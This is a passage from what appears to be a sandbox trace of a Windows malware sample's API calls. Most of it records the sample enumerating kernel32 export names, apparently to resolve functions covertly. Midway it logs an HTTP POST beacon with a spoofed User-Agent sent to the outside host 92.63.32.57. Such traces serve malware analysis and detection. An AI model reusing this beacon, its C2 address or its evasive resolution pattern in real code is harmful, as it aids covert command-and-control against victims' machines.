| out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0109.205] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0109.205] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0109.206] lstrlenA (lpString="CREATEEVENTA") returned 12 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0109.206] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0109.206] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0109.206] lstrlenA (lpString="CREATEEVENTW") returned 12 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0109.206] lstrlenA (lpString="CREATEFIBER") returned 11 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0109.206] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0109.206] lstrlenA (lpString="CREATEFILE2") returned 11 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0109.206] lstrlenA (lpString="CREATEFILEA") returned 11 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0109.206] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0109.206] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0109.206] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0109.206] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0109.206] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0109.206] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0109.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0109.206] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0109.207] lstrlenA (lpString="CREATEFILEW") returned 11 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0109.207] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0109.207] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0109.207] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0109.207] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0109.207] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0109.207] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0109.207] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0109.207] lstrlenA (lpString="CREATEJOBSET") returned 12 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0109.207] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0109.207] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0109.207] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0109.207] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0109.207] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0109.207] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0109.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0109.208] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0109.208] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0109.208] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0109.208] lstrlenA (lpString="CREATEPIPE") returned 10 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0109.208] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0109.208] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0109.208] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0109.208] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0109.208] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0109.208] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0109.208] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0109.208] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0109.208] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0109.208] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0109.208] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0109.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0109.208] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0109.209] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0109.209] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0109.209] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0109.209] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0109.209] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0109.209] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0109.209] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0109.209] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0109.209] lstrlenA (lpString="CREATETHREAD") returned 12 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0109.209] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0109.209] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0109.209] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0109.209] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0109.209] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0109.209] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0109.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0109.210] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.211] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.211] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0109.211] wsprintfA (in: param_1=0x3b70000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /mxn.jspx?q=8c0354xv1&wm=xo6 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.32.57\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 245 [0109.212] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.212] send (s=0x544, buf=0x3b70000*, len=466, flags=0) returned 466 [0109.212] shutdown (s=0x544, how=1) returned 0 [0109.213] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828) returned 0 [0109.257] closesocket (s=0x544) returned 0 [0109.257] WSACleanup () returned 0 [0109.257] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.258] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.258] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.258] lstrlenA (lpString="kernel32.dll") returned 12 [0109.259] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.259] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0109.259] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0109.259] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0109.259] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0109.259] lstrlenA (lpString="ADDATOMA") returned 8 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0109.259] lstrlenA (lpString="ADDATOMW") returned 8 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0109.259] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0109.259] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0109.259] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0109.259] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0109.259] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0109.259] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0109.259] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0109.260] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0109.260] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0109.260] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0109.260] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0109.260] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0109.260] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0109.260] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0109.260] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0109.260] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0109.260] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0109.260] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0109.260] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0109.260] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0109.260] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0109.260] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0109.260] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0109.261] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0109.261] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0109.261] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0109.261] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0109.261] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0109.261] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0109.261] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0109.261] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0109.261] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0109.261] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0109.261] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0109.261] lstrlenA (lpString="BACKUPREAD") returned 10 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0109.261] lstrlenA (lpString="BACKUPSEEK") returned 10 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0109.261] lstrlenA (lpString="BACKUPWRITE") returned 11 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0109.261] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0109.261] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0109.262] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0109.262] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0109.262] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0109.262] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0109.262] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0109.262] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0109.262] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0109.262] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0109.262] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0109.262] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0109.262] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") 